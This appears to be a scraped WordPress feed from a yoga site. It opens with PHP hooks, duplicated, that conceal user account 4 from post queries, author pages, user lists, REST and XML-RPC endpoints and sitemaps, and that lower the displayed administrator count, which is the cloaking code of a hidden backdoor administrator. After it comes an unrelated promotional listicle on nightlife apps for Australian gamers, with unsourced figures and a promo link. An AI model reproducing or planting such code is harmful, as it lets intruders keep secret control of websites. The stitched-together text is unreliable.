add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 4;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 4;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 4;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 4;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 4;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 4;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
La entrada Why Nightlife Apps Matter to Aussie Gamers se publicó primero en Yoga con Arjuna.
]]>BarBuddy’s standout feature is its “Game Night” filter. By entering the game you want to play—say, League of Legends or Call of Duty: Warzone—you get a list of pubs that host esports tournaments or streaming nights. In 2023, the app reported that 37% of users attended at least one event per month, a 15% increase from the previous year.
PubRadar uses GPS to show you bars within a 5‑kilometre radius that have live music or karaoke. The “Gamers’ Corner” tag is a game‑changer: it flags venues that provide free Wi‑Fi and high‑speed internet, a must for those who stream or stream‑watch. The app’s last update added a feature that sends a push notification when a local e‑sports bar announces a last‑minute tournament.
NightOwl focuses on late‑night venues. Its “After‑Hours” filter lists bars that stay open until 4 a.m., useful for marathon gaming sessions. The app also offers a “Table Reserve” option, letting you lock in a spot for a group of four. In practice, users have reported a 22% reduction in wait times at peak hours.
GameBar Guide is a community‑driven platform where users rate bars on three criteria: game‑friendly atmosphere, drink quality, and Wi‑Fi speed. The rating system is weighted so that a 4.8 out of 5 in Wi‑Fi speed carries twice the weight of a 4.8 in drinks. This emphasis helps gamers find places that won’t choke on their streaming needs.
Drink & Play offers a “Happy Hour” calendar that syncs with your calendar app. If you’re planning to head out after a gaming marathon, the app will remind you of the best times to grab a discounted drink before the bar gets crowded. The last update added a feature that lets you order a drink in advance, saving you a minute on the line.
BarQuest’s unique “Quest Mode” turns bar‑hopping into a scavenger hunt. Each bar you visit earns you points, and points can be redeemed for free beers or game‑night tickets. In 2024, the app launched a partnership with a local esports arena, offering a free 1‑hour practice slot for the top 50 point earners.
Pulse is a social network for nightlife that integrates with your gaming profile. It shows which friends are currently at a bar, how many people are gaming there, and what game is trending. The app’s “Matchmaker” feature suggests nearby venues based on the games you play most often.

BarConnect’s API lets local bar owners post real‑time updates about seating availability. Gamers can see whether a bar has an open gaming table or a reserved spot for a group. The app also includes a “Noise Meter” that reports the decibel level, ensuring you’re not stepping into a venue that’s too loud for your headset.
GameNight Hub aggregates events from several sources, including university clubs and community centres. It lists upcoming tournaments, LAN parties, and casual gaming nights. Users can RSVP directly through the app, and the event pages provide a link to the venue’s Wi‑Fi password.
SocialSip is built around a “Drink & Chat” feature that pairs you with a random gamer at a nearby bar. The app matches you based on the games you’ve played in the last 30 days. A recent survey found that 68% of users who used SocialSip discovered a new favorite drink within the first month of use.
When you’re looking for a place to unwind after a gaming marathon, these apps make the hunt quick and data‑rich. For those who also enjoy streaming or competitive play, the same community can be found online. If you’re curious about how to blend your love of gaming with accessible travel experiences, Check here for a curated list of resorts that cater to gamers and travelers alike.
Choosing the right nightlife app depends on what you value most: live events, Wi‑Fi speed, or social interaction. The ten apps above each bring a different strength, and many overlap, giving you a broad spectrum of options. The next time you finish a gaming session, open one of these apps, pick a venue, and let the night unfold.
It highlights venues with game nights, free Wi‑Fi, and a gaming-friendly crowd, saving time and enhancing the social gaming experience.
Sydney, Melbourne, Brisbane, and Adelaide boast the largest selection of gaming‑friendly venues, and most apps cover these cities.
La entrada Why Nightlife Apps Matter to Aussie Gamers se publicó primero en Yoga con Arjuna.
]]>